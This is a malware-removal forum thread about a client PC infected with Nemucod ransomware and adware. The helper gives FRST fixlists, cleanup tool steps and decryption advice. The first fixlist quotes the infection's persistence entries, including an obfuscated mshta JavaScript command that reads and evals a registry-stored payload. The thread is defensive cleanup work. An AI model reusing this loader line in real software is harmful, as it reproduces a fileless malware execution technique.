OldTech65

Help, Client PC infected

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Found this pc infected with ransomware. Did an id check from ransomware ID site and it came back identifying the virus and stated to download Nemucod decryption tool . I found 2 files one encrypted and one not (same file) greater then 4096kb and drag them into the program. To no avail it would not run, it just kept saying it could not find the key and that to make sure the files are equal or greater than 4096. I have attached the files you have requested. Thanks for your assistance in this matter.

Addition.txt

FRST.txt

Scan_161211-141028.txt

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Copy the below code to Notepad; Save As fixlist.txt to your Desktop.

CloseProcesses:
HKLM-x32\...\Run: [] => [X]
HKU\S-1-5-21-333805338-504140195-61859799-1000\...\Run: [Crypted] => C:\Users\Dianna\AppData\Local\Temp\a.txt <===== ATTENTION
HKU\S-1-5-21-333805338-504140195-61859799-1000\...\Run: [YnzsPack] => C:\Users\Dianna\AppData\Local\YnzsPack\a2.exe
HKU\S-1-5-21-333805338-504140195-61859799-1000\...\Run: [**lmke<*>] => "C:\Users\Dianna\AppData\Local\05a0f\dd2ba.bat" <===== ATTENTION (Value Name with invalid characters)
HKU\S-1-5-21-333805338-504140195-61859799-1000\...\Run: [Ambcworks] => regsvr32.exe C:\Users\Dianna\AppData\Local\Ambcworks\MozNetNotifier80.dll <===== ATTENTION
HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer: Restriction <======= ATTENTION
HKU\.DEFAULT\SOFTWARE\Policies\Microsoft\Internet Explorer: Restriction <======= ATTENTION
HKU\S-1-5-21-333805338-504140195-61859799-1000\SOFTWARE\Policies\Microsoft\Internet Explorer: Restriction <======= ATTENTION
Toolbar: HKU\S-1-5-21-333805338-504140195-61859799-1000 -> No Name - {47833539-D0C5-4125-9FA8-0819E2EAAC93} -  No File
FF Extension: (No Name) - C:\Program Files (x86)\McAfee\SiteAdvisor\saffplg.xpi [not found]
2015-07-03 08:15 - 2015-08-31 14:15 - 0000115 _____ () C:\Users\Dianna\AppData\Roaming\LogFile.txt
2015-01-02 23:24 - 2015-01-02 23:24 - 0006323 _____ () C:\Users\Dianna\AppData\Local\cifgxqpl
2016-09-27 03:06 - 2016-09-27 03:06 - 0000000 ____H () C:\ProgramData\DP45977C.lfl
2013-09-13 04:56 - 2013-09-13 04:56 - 0002456 _____ () C:\ProgramData\regid.2012-08.com.Corel,Roxio_76C7858E-078C-4C49-AB1A-2A7072664935.swidtag
Task: {0C5098EE-C58A-492C-9F26-9D5CF7DB6806} - \Microsoft\Windows\Setup\GWXTriggers\OutOfSleep-5d -> No File <==== ATTENTION
Task: {10FF7E82-2789-40BA-A5A7-49BB938BF7FA} - \Microsoft\Windows\Setup\GWXTriggers\refreshgwxconfig-B -> No File <==== ATTENTION
Task: {2F7564BE-FDE1-48BC-9AC0-AFE7B3EF5891} - \Microsoft\Windows\Setup\GWXTriggers\Telemetry-4xd -> No File <==== ATTENTION
Task: {31F9B023-008C-4002-A23B-A7A96591A193} - \Microsoft\Windows\Setup\gwx\launchtrayprocess -> No File <==== ATTENTION
Task: {3A100DAF-A73A-47BA-BAB9-91414379A2A5} - \Microsoft\Windows\Setup\gwx\refreshgwxcontent -> No File <==== ATTENTION
Task: {41C3EA69-EAB5-4A80-8EC3-42E5963B2A2D} - \Microsoft\Windows\Setup\GWXTriggers\Logon-5d -> No File <==== ATTENTION
Task: {6A6796B3-015E-4F1B-9CEC-24B99EF2C9D6} - \Microsoft\Windows\Setup\GWXTriggers\MachineUnlock-5d -> No File <==== ATTENTION
Task: {A62CEFF5-9B9F-4D42-AF2D-A8EE8259C5A4} - \Microsoft\Windows\Setup\GWXTriggers\Time-5d -> No File <==== ATTENTION
Task: {BED6F567-F01F-4AA5-ADC9-CCEA2E23CC5E} - \Microsoft\Windows\Setup\gwx\refreshgwxconfig -> No File <==== ATTENTION
Task: {CC1FA24A-770B-4B43-8B35-580146CD589C} - \Microsoft\Windows\Setup\GWXTriggers\OutOfIdle-5d -> No File <==== ATTENTION
Task: {FEF8C050-F2A8-4EDD-B65A-13A01AFA7FDA} - \Microsoft\Windows\Setup\gwx\refreshgwxconfigandcontent -> No File <==== ATTENTION
AlternateDataStreams: C:\ProgramData\TEMP:1CE11B51 [174]
HKU\S-1-5-21-333805338-504140195-61859799-1000\Software\Classes\dc65c: "C:\WINDOWS\system32\mshta.exe" "javascript:NI7j6avTF="J";h8S=new ActiveXObject("WScript.Shell");j7oPq8BJ="5ghyUGc";a4W5km=h8S.RegRead("HKCU\\software\\cimmxib\\jjyk");jmf0Q7l="ib5";eval(a4W5km);m2wnqo="77TwU";" <===== ATTENTION
C:\Users\Dianna\AppData\Local\YnzsPack
C:\Users\Dianna\AppData\Local\05a0f
Reboot:

Close Notepad.

NOTE: It's important that both files, FRST64 and fixlist.txt are in the same location or the fix will not work.

NOTICE: This script was written specifically for this user, for use on that particular machine. Running this on another machine may cause damage to your operating system

Run FRST64 and press the Fix button just once and wait.

If the tool needed a restart please make sure you let the system restart normally and let the tool complete its run after restart.

The tool will make a log on the Desktop (Fixlog.txt). Attach it to your reply.

Note: If the tool warns you about an outdated version please download and run the updated version.

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Let's take a fresh look.

Run fresh scans with Emsisoft Emergency Kit (EEK) and FRST, attach the new EEK and FRST scans to your reply.

Be sure to let me know how things are running.
 

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OK,

I am going to have you run 2 tools that target Adware and Junkware in general.

Download AdwCleaner and save it on your desktop.

  1. Close all open programs and Internet browsers (you may want to print our or write down these instructions first).
  2. Double click on adwcleaner.exe to run the tool.
  3. Click on the Scan button.
  4. After the scan has finished, click on the Clean button.
  5. Confirm each time with OK.
  6. You will be prompted to restart your computer. A text file will open in Notepad after the restart (this is the log of what was removed), which you can save on your desktop.
  7. Attach that log file to your reply by clicking the More Reply Options button to the lower-right of where you type in your reply.
    NOTE: If you lose that log file for any reason, you can find it at C:\AdwCleaner on your computer.


Download Junkware Removal Tool and save it on your desktop.

  1. Run the tool by double-clicking it.
  2. The tool will open and start scanning your system.
  3. Please be patient as this can take a while to complete depending on your system's specifications.
  4. On completion, a log is saved to your desktop and will automatically open.
  5. Attach the JRT log file to a reply by clicking the More Reply Options button to the lower-right of where you type in your reply.

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Let's take a fresh look.

Run fresh scans with Emsisoft Emergency Kit (EEK) and FRST, attach the new EEK and FRST scans to your reply.

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Copy the below code to Notepad; Save As fixlist.txt to your Desktop.

Reg: reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\CLASSES\CLSID\{F6BF8414-962C-40FE-90F1-B80A7E72DB9A}" /f
C:\Users\Dianna\Favorites\Downloads\Microsoft.Office.2003.With.SP3.DVD-XiSO
C:\Users\Dianna\Favorites\Downloads\OffercastInstaller_AVR_U-0049-01-L_avery postcard.exe
C:\Users\Dianna\Favorites\Downloads\PIP_AVR73_.exe
C:\Users\Dianna\Favorites\Downloads\PIP_AVR74_.exe

Close Notepad.

NOTE: It's important that both files, FRST64 and fixlist.txt are in the same location or the fix will not work.

NOTICE: This script was written specifically for this user, for use on that particular machine. Running this on another machine may cause damage to your operating system

Run FRST64 and press the Fix button just once and wait.

If the tool needed a restart please make sure you let the system restart normally and let the tool complete its run after restart.

The tool will make a log on the Desktop (Fixlog.txt). Attach it to your reply.

Note: If the tool warns you about an outdated version please download and run the updated version.

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Try the Nemucod decrypter again.  If it fails to find the key then it is very likely that the files cannot be decrypted.

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Thread Closed

Reason: Lack of Response

PM either Kevin, Elise, or Arthur to have this thread reopened.

All posters requesting Malware Removal assistance are required to follow all procedures in the thread titled START HERE if you don't we are just going to send you back to this thread.
 

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